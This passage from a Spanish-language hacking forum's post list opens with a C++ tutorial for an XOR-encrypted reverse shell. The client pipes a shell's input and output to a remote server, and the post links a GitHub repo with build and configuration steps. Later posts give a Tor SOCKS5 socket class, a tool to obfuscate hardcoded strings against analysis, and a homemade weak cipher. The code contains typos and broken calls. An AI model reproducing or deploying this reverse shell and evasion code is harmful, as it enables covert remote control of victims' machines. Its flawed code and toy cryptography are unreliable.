  10.       CmdBuffer[iBytes] = '\0';
  11.       //escribimos al extremo WRITE-END de InPipe
  12.       write(InPipe[1], CmdBuffer, strlen(CmdBuffer));
  13.    }
  14. }
  15. th1.join();
Luego la funcion LeerStdout:
Código: C++
  1. void LeerStdout(int Pipe){
  2.    chad CmdBuffer[256];
  3.    int iRet = 0, iRet2 = 0;
  4.    while(1){
  5.       //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
  6.       iRet = read(Pipe, &CmdBuffer, 255);
  7.       //Enviamos los datos leidos de stdout/stderr al servidor
  8.       iRet2 = send(Socket, CmdBufer, iRet);
  9.    }
  10. }
Con esto se concluye el codigo basico sin "cifrar" del cliente esto vendria a ser similar al primer ejemplo de arriba. Pero ahora podemos manipular los datos a nuestro antojo aplicando asi un metodo de encriptación a la información para que esta no viaje en texto plano. En el ejemplo usare XOR, pero con esta base se puede implementar el algoritmo deseado. El codigo de ejemplo se modificaria asi:
Código: C++
  1. //Funcion de cifrado XOR
  2. std::string XOR(const std::string Data, const std::string Password){
  3.    std::string Final = "";
  4.    for(char cD : Data){
  5.       for(char cS : Password){
  6.          cD ^= cS;
  7.       }
  8.       Final.append(1, cD);
  9.    }
  10.    return Final;
  11. }
El codigo del proceso padre:
Código: C++
  1. std::thread th1(LeerStdout, OutPipe[0]);
  2. int iBytes = 0;
  3. char CmdBuffer[1025]; //para mega comandos larguisimos juaker
  4. while(1){
  5.    //recibimos los datos cifrados del servidor
  6.    iBytes = recv(Socket, CmdBuffer, 1024, 0);
  7.    if(iBytes > 0){
  8.       CmdBuffer[iBytes] = '\0';
  9.       std::string Descifrado = XOR(std::string(CmdBuffer), std::string("password"));
  10.       //Ahora descifrado contiene el comando descifrado que envio el servidor
  11.       //escribimos al extremo WRITE-END de InPipe el contenido descifrado
  12.       write(InPipe[1], Descifrado.c_str(), Descifrado.length());
  13.    }
  14. }
  15. th1.join();
El codigo de la funcion que lee el stdout/stderr del proceso hijo:
Código: C++
  1. void LeerStdout(int Pipe){
  2.    chad CmdBuffer[256];    
  3.    int iRet = 0, iRet2 = 0;
  4.     while(1){
  5.        //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
  6.        iRet = read(Pipe, &CmdBuffer, 255);
  7.        std::string Cifrado = XOR(std::string(Cmdbuffer), std::string("password"));
  8.        //ahora Cifrado contiene el resultado de lo leido del pipe cifrado con XOR
  9.        //Enviamos los datos cifrados leidos de stdout/stderr al servidor
  10.        iRet2 = send(Socket, Cifrado.c_str(), Cifrado.length());
  11.     }
  12.  }

Esa seria la implementación de pipes junto con fork y execve para obetener una shell inversa "cifrada". Les dejo mi proyecto en github You are not allowed to view links. Register or Login

Ahora un mini tutorial usando mi codigo de github  ;D:
Clonar repo
Código: You are not allowed to view links. Register or Login
git clone [url]https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git[/url]
Abrir el archivo Client.cpp y modificar el valor de la variable strPassword dentro de la clase Client con una clave deseada.
Luego modificar la funcion main con la ip y puerto hacia los cuales se conectara el cliente.
Código: C++
  1. Cli->Connect("IP", "PUERTO")
Abrir el archivo Server.cpp y modificar la funcion main cambiando el puerto de esucha y clave a usar en la comunicación
Código: C++
  1. Server *Srv = new Server(1337, "aiiiuuudaaaaa");
Y compilar con:
Código: You are not allowed to view links. Register or Login
g++ -Wall -Wextra Client.cpp -o Client -pthread
Código: You are not allowed to view links. Register or Login
g++ -Wall -Wextra Server.cpp -o Server -pthreadEso es todo espero hayan aprendido algo nuevo y le den un buen uso.

Saludos.

7
C / C++ / Sockets usando la red TOR C++
« en: Mayo 29, 2020, 09:34:07 pm »
Hola a todos.
Hoy comparto con ustedes el manejo de sockets mediante la red TOR. Suponiendo que ya se tiene tor instalado y corriendo en el puerto por defecto 9050 proseguimos.
Primero debemos entender sobre la negociacion o Handshake que se lleva a cabo al conectar con un proxy. En el Request For Comment RFC 1982 You are not allowed to view links. Register or Login, pueden obtener mas información con respecto al proceso de conexión, en este post solo cubriremos conceptos basicos.
El Handshake basico se podria representar de la siguiente manera



Y sigue este flujo:
Primero el cliente en este caso PC A, envia una secuencia de tres bytes (5, 1, 0) al servidor proxy. El primer byte especifica la version de socks a usar en este caso 5, el segundo byte es para propositos de autenticación, especifica los metodos soportados por el cliente para autenticarse 1, y el tercer byte es el tipo de autenticación, en este caso 0 (sin autenticación), si la conexión se quiere realizar mediante usuario/contraseña entonces este ultimo byte seria 2.

Se envia la secuencia de bytes y el servidor responde con dos bytes, en esta caso (5, 0), siendo el primer byte la version de socks a utilizar 5, y el segundo el metodo de autenticación 0 (sin autenticación). Si el servidor requiere de autenticación responderia con 5,2, pero ya que utilizaremos un proxy local sin este metodo deberia de responder siempre con 5,0.

A continuación se envia la secuencia de bytes (5, 1, 0, 3, Host, Puerto), siendo el primer byte 5 como se menciona anteriormente la version de socks, el segundo byte 1 es el codigo de comando, que puede ser uno de los siguientes valores:

1 = Establecer conexión TCP/IP.
2 = Establece un enlace de puerto TCP/IP.
3  = Asocia un puerto UDP.

En este caso usaremos el primero 1 (Establecer conexión TCP/IP) , el tercer byte 0 es un byte reservado y debe ser 0, el cuarto byte 3 es el tipo de direccion del host que puede ser una de las siguientes:

1 = Dirección IPv4, seguida por la IP de 4 bytes
3 = Nombre de dominio, 1 byte para la longitud del nombre seguido del nombre del host.
4 = Dirección IPv6, seguida de la IP de 16 bytes.

Usaremos el byte 3 (Nombre de dominio, 1 byte para la longitud del nombre seguido del nombre del host), y el ultimo byte vendria siendo el numero de puerto en orden de red de 2 bytes You are not allowed to view links. Register or Login.

Si todo va bien el servidor proxy responde con la secuencia 5, 0, 0, 1, Host, Puerto , siendo el segundo byte 0 el estado de la negociación, en esta caso el 0 indica que todo ha salido bien, el tercer byte es reservado y es 0, y los ultimos tres vendrian siendo el tipo de dirección, dirección y puerto en orden de red.

Habiendo entrado en lo basico del proceso de comunicación con el servidor veamos como aplicarlo en código

Una vez realizada la conexión inicial con el servidor:
Código: C++
  1. char buffer[3];
  2. buffer[0] = 0x05;  //Version de socks
  3. buffer[1] = 0x01; //Metodos de autenticacion soportados por el cliente
  4. buffer[2] = 0x00; //Metodo de autenticacion a utilizar : Sin Autenticacion
  5. send(Socket, buffer, 3, 0);
Enviamos la secuencia de tres bytes 0x05, 0x01, 0x00,  (0x05 - Version Socks    0x01 - Metodos soportados de autenticacion por el cliente    0x00 - No usar autenticacion).

Acto seguido recibimos la respuesta del servidor y verificamos si el estado del segundo byte es 0
Código: C++
  1. char rbuffer[10];
  2. recv(Socket, rbuffer, 10, 0);
  3. if(rbuffer[1] == 0x00){
  4.    //primera parte de negociacion correctamente
  5. }

Ahora se procede a crear la ultima secuencia de bytes con los datos del destino al cual conectarnos
Código: C++
  1. char fbuff[256];
  2. memset(fbuff, 0, 256);
  3. fbuff[0] = 0x05;  //version de socks
  4. fbuff[1] = 0x01;  //Codigo de comando
  5. fbuff[2] = 0x00;  //Byte reservado
  6. fbuff[3] = 0x03; //Tipo de direccion del host
  7.  
  8. short host_port = htons(PORT);                  //convierte el numero de puerto a orden de bytes de red
  9. char host_len = (char)strlen(HOSTNAME);        //Se obtiene la longitud del nombre host en un byte
  10. memcpy(fbuff + 4, &host_len, 1);                //Luego se unen los datos junto con la secuencia anterior
  11. memcpy(fbuff + 5, HOSTNAME, host_len);
  12. memcpy(fbuff + 5 + host_len, &host_port, 2);
  13.  
  14. send(Socket, fbuff, 7 + host_len, 0);         //Se envia la secuencia de bytes

Y por ultimo recibimos la respuesta del servidor proxy, si el segundo byte es 0 significa que el proceso de negociación ha finalizado correctamente
Código: C++
  1. recv(Socket, rbuffer, 10, 0);
  2. if(rbuffer[1] == 0x00){
  3.     //proceso de negociacion completo
  4.     //Ahora se procede a intercambiar datos con el host de destino
  5. }

Y sin mas mi código de una simple peticion HTTP usando TOR:

Código: C++
  1. #include<iostream>
  2. #include<cstring>
  3. #include<cstdlib>
  4. #include<sys/socket.h>
  5. #include<arpa/inet.h>
  6. #include<netinet/in.h>
  7. #include<netdb.h>
  8. #include<unistd.h>
  9. #include<signal.h>
  10.  
  11. class TorSocket{
  12.    private:
  13.    int SocketD;
  14.    public:
  15.    int Connect(const char *cHostname, int iPort, const char *torhost = "127.0.0.1", const char *torport = "9050"){
  16.       struct sigaction act;
  17.       memset(&act, 0, sizeof(act));
  18.       act.sa_handler = SIG_IGN;
  19.       act.sa_flags = SA_RESTART;
  20.       sigaction(SIGPIPE, &act, 0);
  21.       struct addrinfo client, *addrs, *addr;
  22.       char rBuffer[10];
  23.       int iReceived = 0;
  24.       memset(&client, 0, sizeof(client));
  25.       client.ai_family = AF_UNSPEC;
  26.       client.ai_socktype = SOCK_STREAM;
  27.       client.ai_protocol = IPPROTO_TCP;
  28.       int iStatus = getaddrinfo(torhost, torport, &client, &addrs);
  29.       if(iStatus!=0){
  30.          std::cout<<"Error getaddrinfo\n";
  31.          return -1;
  32.       }
  33.       for(addr = addrs; addr != nullptr; addr = addr->ai_next){
  34.          if((this->SocketD = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol)) == -1){
  35.             continue;
  36.          }
  37.          if(connect(this->SocketD, addr->ai_addr, addr->ai_addrlen) == -1){
  38.             continue;
  39.          }
  40.          break;
  41.       }
  42.       freeaddrinfo(addrs);
  43.       if(this->SocketD == -1){
  44.          std::cout<<"No se pudo conectar al proxy\n";
  45.          return -1;
  46.       }
  47.       char cByteSequense1[3] = {0x05, 0x01, 0x00};
  48.       send(this->SocketD, cByteSequense1, 3, 0);
  49.       iReceived = recv(this->SocketD, rBuffer, 10, 0);
  50.       if(iReceived > 0){
  51.          if(rBuffer[0] != 0x05){  
  52.             std::cout<<"Version de socks invalida\n";
  53.             return -1;
  54.          }
  55.          if(rBuffer[1] == 0x00){
  56.             char cByteSequense2[256];
  57.             memset(cByteSequense2, 0, 256);
  58.             cByteSequense2[0] = 0x05;
  59.             cByteSequense2[1] = 0x01;
  60.             cByteSequense2[2] = 0x00;
  61.             cByteSequense2[3] = 0x03;
  62.             short sHost_Port = htons(iPort);
  63.             char cHost_Len = (char)strlen(cHostname);
  64.             memcpy(cByteSequense2 + 4, &cHost_Len, 1);
  65.             memcpy(cByteSequense2 + 5, cHostname, cHost_Len);
  66.             memcpy(cByteSequense2 + 5 + cHost_Len, &sHost_Port, 2);
  67.             send(this->SocketD, cByteSequense2, 7 + cHost_Len, 0);
  68.             memset(rBuffer, 0, sizeof(rBuffer));
  69.             iReceived = recv(this->SocketD, rBuffer, 10, 0);
  70.             if(rBuffer[1] == 0x00){
  71.                std::cout<<"Conexion satisfatoria\n";
  72.                //Ahora se puede enviar datos atraves de este socket
  73.                return this->SocketD;
  74.             } else {
  75.                return -1;
  76.             }
  77.          }
  78.       } else {
  79.          return -1;
  80.       }
  81.       return -1;
  82.    }
  83.  
  84.    void CloseSocket(){
  85.       close(this->SocketD);
  86.    }
  87.  
  88.    int SendData(const char *data, int size){
  89.       return send(this->SocketD, data, size, 0);
  90.    }
  91.  
  92.    int ReadData(char*& buffer){
  93.       buffer = (char *)malloc(2048);
  94.       unsigned int so_far = 0;
  95.       char u_c[2];
  96.       while(recv(this->SocketD, u_c, 1, 0) > 0){
  97.          if(so_far >= 2048){
  98.             buffer = (char *)realloc(buffer, so_far + 1);
  99.          }
  100.          buffer[so_far++] = u_c[0];
  101.       }
  102.       buffer[so_far] = '\0';
  103.       return so_far;
  104.    }
  105. };
  106.  
  107. //Simple ejemplo de peticion HTTP a url specificada
  108. int main(int argc, char **argv){
  109.    if(argc < 2){
  110.       std::cout<<argv[0]<<" url\n";
  111.       return 0;
  112.    }
  113.    TorSocket tor;
  114.    char domain[128];
  115.    char *response;
  116.    strncpy(domain, argv[1], 128);
  117.    int stat = tor.Connect(domain, 80);
  118.    if(stat == -1){
  119.       std::cout<<"No se pudo conectar\n";
  120.       return -1;
  121.    }
  122.    std::cout<<"Conectado\n";
  123.    char packet[512];
  124.    snprintf(packet, 512, "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", domain);
  125.    if(tor.SendData(packet, strlen(packet)) > 0){
  126.       unsigned int bytes = tor.ReadData(response);
  127.       if(bytes>0){
  128.          std::cout<<response<<"\n\n";
  129.       } else {
  130.          std::cout<<"No se recibio nada\n";
  131.       }
  132.       free(response);
  133.    } else {
  134.       std::cout<<"Error al enviar el paquete\n";
  135.    }
  136.    tor.CloseSocket();
  137.    return 0;
  138. }
  139.  
  140.  

Una captura de pantalla
         

Espero les haya servido y le den un buen uso, cualquier correcion o duda dejenme saberla.

Saludos

8
C / C++ / Ofuscacion de cadenas harcodeadas en el codigo
« en: Mayo 28, 2020, 05:49:26 pm »
Les comparto un simple codigo para ofuscar variables, y asi no escribir directamente ciertas palabras que deseemos harcodear en el programa para que no sean visibles por programas como strings o similares, no es para informacion sensible, es por pura diversion y ocultacion de palabras, espere los guste.

Código: C
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<string.h>
  4. #include<time.h>
  5.  
  6. void HC(const char *input, int len){
  7.      You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(NULL));
  8.      char tmpbuff1[10];
  9.      char tmpbuff[10240];
  10.      You are not allowed to view links. Register or Login(tmpbuff, '\0', 10240);
  11.      You are not allowed to view links. Register or Login(tmpbuff1, '\0', 10);
  12.     //Para generar nombre de variable aleatorio
  13.      char keys[] = {'_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3' ,'4', '5', '6', '7', '8', '9'};
  14.      int i = 0, a = 0, b = 0, c = 1;
  15.      for (; i < 7; i ++){
  16.         tmpbuff1[i] = keys[You are not allowed to view links. Register or Login() % 63];
  17.      }
  18.      You are not allowed to view links. Register or Login(tmpbuff, 50, "unsigned char %s[%i] = { ", tmpbuff1, len);
  19.      for(a = 0, b = 0; a<len; a++){
  20.          b = input[a];
  21.          b ^= 0xEC;
  22.          b ^= a;
  23.          char tmp[50];
  24.          if(a == (len - 1)) {
  25.              You are not allowed to view links. Register or Login(tmp, 15, "0x%x };", b);
  26.              You are not allowed to view links. Register or Login(tmpbuff, tmp, You are not allowed to view links. Register or Login(tmp));
  27.              break;
  28.          }
  29.          if (c++ == 12){
  30.              You are not allowed to view links. Register or Login(tmp, 15, "0x%x,\n   ", b);
  31.              You are not allowed to view links. Register or Login(tmpbuff, tmp);
  32.              c = 1;
  33.          }else{
  34.              You are not allowed to view links. Register or Login(tmp, 15, "0x%x, ", b);
  35.              You are not allowed to view links. Register or Login(tmpbuff, tmp);
  36.          }
  37.      }
  38.      You are not allowed to view links. Register or Login("Aqui esta tu codigo\n\n%s\n\n", tmpbuff);
  39. }
  40.  
  41.  
  42. /*Funcion para "decifrar" variable y usarla
  43. unsigned char var_name[6] = { 0x9e, 0x8c, 0x80, 0x8b, 0x87, 0x84 };   <<   random
  44. char *new_var = malloc(sizeof(char) * 7);
  45. HCD(var_name, 6, &new_var);
  46. ahora new_var = "random"
  47. */
  48. void HCD(const char *input, int len, char **outp)
  49. {
  50.     int a = 0, b = 0;
  51.      char outvar[len];
  52.      You are not allowed to view links. Register or Login(outvar, '\0', len);
  53.      for(a = 0, b = 0; a<len; a++){
  54.          b = input[a];
  55.          b ^= 0xEC;
  56.          b ^= a;
  57.          You are not allowed to view links. Register or Login(outvar, (char*)&b);
  58.      }
  59.      You are not allowed to view links. Register or Login(*outp, outvar, len);
  60. }
  61.  
  62. int main(int argc, char **argv)
  63. {
  64.   HC(argv[1], You are not allowed to view links. Register or Login(argv[1]));
  65.   return 0;
  66. }
  67.  
  68.  

9
C / C++ / Simple Cipher
« en: Mayo 18, 2020, 11:45:13 pm »
Hola les comparto un cipher sencillo que hice, basado en rot13 y xor a diferencia que rota 128 caracteres y este numero aumenta dependiendo de la longitud de la informacion a modificar, antes pasa por base64 para poder trabajar con caracteres imprimibles, logrando (aun no probado) trabajar con datos binarios, tiene varios errores y posiblemente mal manejo de memoria por lo cual agradezco sus aportes/correcciones/sugerencias.

Código: C++
  1. #include<iostream>
  2. #include<string>
  3. #include<cstring>
  4. class b64{
  5.    public:
  6.    size_t b64_encoded_size(size_t inlen){
  7.       size_t ret = inlen;
  8.       if(inlen % 3 != 0){
  9.          ret += 3 - (inlen % 3);
  10.       }
  11.       ret /= 3;
  12.       ret *= 4;
  13.       return ret;
  14.    }
  15.    size_t b64_decoded_size(const char *in){
  16.       size_t len, ret, i;
  17.       if(in == nullptr){
  18.          return 0;
  19.       }
  20.       len = std::string(in).length();
  21.       ret = len / 4 * 3;
  22.       for(i = len; i-->0;){
  23.          if(in[i] == '='){
  24.             ret--;
  25.          } else {
  26.             break;
  27.          }
  28.       }
  29.       return ret;
  30.    }
  31.    int b64_valid_char(char c){
  32.            if (c >= '0' && c <= '9'){
  33.                    return 1;
  34.       }
  35.            if (c >= 'A' && c <= 'Z'){
  36.                    return 1;
  37.       }
  38.            if (c >= 'a' && c <= 'z'){
  39.                    return 1;
  40.       }
  41.            if (c == '+' || c == '/' || c == '='){
  42.                    return 1;
  43.       }
  44.            return 0;
  45.    }
  46.    char *b64_encode(const unsigned char *in, size_t len){
  47.       const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  48.       char *out;
  49.       size_t elen, i, j, v;
  50.       if(in == nullptr || len == 0){
  51.          return nullptr;
  52.       }
  53.       elen = b64_encoded_size(len);
  54.       out = new char[elen+1];
  55.       out[elen] = '\0';
  56.       for(i = 0, j = 0; i < len; i += 3, j += 4){
  57.          v = in[i];
  58.          v = i + 1 < len ? v << 8 | in[i+1] : v << 8;
  59.          v = i + 2 < len ? v << 8 | in[i+2] : v << 8;
  60.          out[j]     = b64chars[(v >> 18) & 0x3F];
  61.          out[j + 1] = b64chars[(v >> 12) & 0x3F];
  62.          if(i + 1 < len){
  63.             out[j + 2] = b64chars[(v >> 6) & 0x3F];
  64.          }else{
  65.             out[j + 2] = '=';
  66.          }
  67.          if(i + 2 < len){
  68.             out[j + 3] = b64chars[v & 0x3F];
  69.          }else{
  70.             out[j + 3] = '=';
  71.          }
  72.       }
  73.       return out;
  74.    }
  75.  
  76.    int b64_decode(const char *in, unsigned char *out, size_t outlen){
  77.       int b64_t[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
  78.               59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
  79.               6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
  80.               21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
  81.               29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
  82.               43, 44, 45, 46, 47, 48, 49, 50, 51 };
  83.       size_t len, i, j;
  84.       int v;
  85.       if(in == nullptr || out == nullptr){
  86.          return 0;
  87.       }
  88.       len = std::string(in).length();
  89.       if(outlen < b64_decoded_size(in) || len % 4 != 0){
  90.          return 0;
  91.       }
  92.       for(i = 0; i < len; i++){
  93.          if(!b64_valid_char(in[i])){
  94.             return 0;
  95.          }
  96.       }
  97.       for(i = 0, j = 0; i < len; i += 4, j += 3){
  98.          v = b64_t[in[i] - 43];
  99.          v = (v << 6) | b64_t[in[i + 1] - 43];
  100.          v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64_t[in[i + 2] - 43];
  101.          v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64_t[in[i + 3] - 43];
  102.  
  103.          out[j] = (v >> 16) & 0xFF;
  104.          if(in[i + 2] != '='){
  105.             out[j + 1] = (v >> 8 ) & 0xFF;
  106.          }
  107.          if(in[i + 3] != '='){
  108.             out[j + 2] = v & 0xFF;
  109.          }
  110.       }
  111.       return 1;
  112.    }
  113. };
  114.  
  115. class LCipher: public b64{
  116.    private:
  117.    int calc(char c, int complex = 0){
  118.       int tmp = c, count = 0;
  119.       while(1){
  120.          if(count++ == (128+complex)){break;}
  121.          if(tmp++ == 126){ tmp = 32;}
  122.       }
  123.       return tmp;
  124.  
  125.    }
  126.    int r_calc(char c, int complex = 0){
  127.       int tmp = c, count = 128+complex;
  128.       while(1){
  129.          if(count-- == 0){break;}
  130.          if(tmp-- == 32){tmp = 126;}
  131.       }
  132.       return tmp;
  133.    }
  134.    std::string LOL(const std::string& message){
  135.       std::string final = "";
  136.       int tcplx = 0;
  137.       for(char c : message){
  138.          char tmp = calc(c, ++tcplx);
  139.          for(char x : this->password){
  140.             tmp ^= x;
  141.          }
  142.          final += tmp;
  143.       }
  144.       return final;
  145.    }
  146.    std::string OLO(const std::string& message){
  147.       std::string final = "";
  148.       int tcplx = 0;
  149.       for(char c : message){
  150.          for(char x : this->password){
  151.             c ^= x;
  152.          }
  153.          final += r_calc(c,++tcplx);
  154.       }
  155.       return final;
  156.    }
  157.    char *b64_e(const unsigned char* message){
  158.       int len = std::string((char *)message).length();
  159.       char *out = b64_encode(message, len);
  160.            return out;
  161.    }
  162.    char *b64_d(const char* message){
  163.       size_t outlen = b64_decoded_size(message);
  164.       unsigned char *output = new unsigned char[outlen];
  165.       b64_decode(message, output, outlen);
  166.       return (char *)output;
  167.    }
  168.    std::string password;
  169.    public:
  170.    LCipher(): password("default"){}
  171.         LCipher(std::string p): password(p){}
  172.  
  173.    int Cipher(char*& data, char **output){
  174.       char *tmp = b64_e((const unsigned char *)data);
  175.       std::string result = LOL(std::string(tmp));
  176.       delete tmp;
  177.       size_t rlen = result.length();
  178.       *output = new char[rlen + 2];
  179.       if(*output == nullptr){
  180.          return 1;
  181.       }
  182.       memcpy(*output, result.c_str(), rlen);
  183.       *output[rlen-1] = '\0';
  184.       return 0;
  185.    }
  186.    char *UnCipher(const char* data){
  187.       std::string tmp = OLO(std::string((char *)data));
  188.       char *out = b64_d(tmp.data());
  189.       return out;
  190.    }
  191. };
  192.  
  193. int main(int argc, char **argv){
  194.    LCipher test(argv[2]);
  195.    char *out = nullptr;
  196.    test.Cipher(argv[1], &out);
  197.    char *out2 = test.UnCipher((const char *)out);
  198.    std::cout<<"Original : "<<argv[1]<<'\n';
  199.    std::cout<<"Cipher   : "<<out<<'\n';
  200.    std::cout<<"UnCipher : "<<out2<<'\n';
  201.    delete out;
  202.    delete out2;
  203.    return 0;
  204. }
  205.  

Páginas: [1]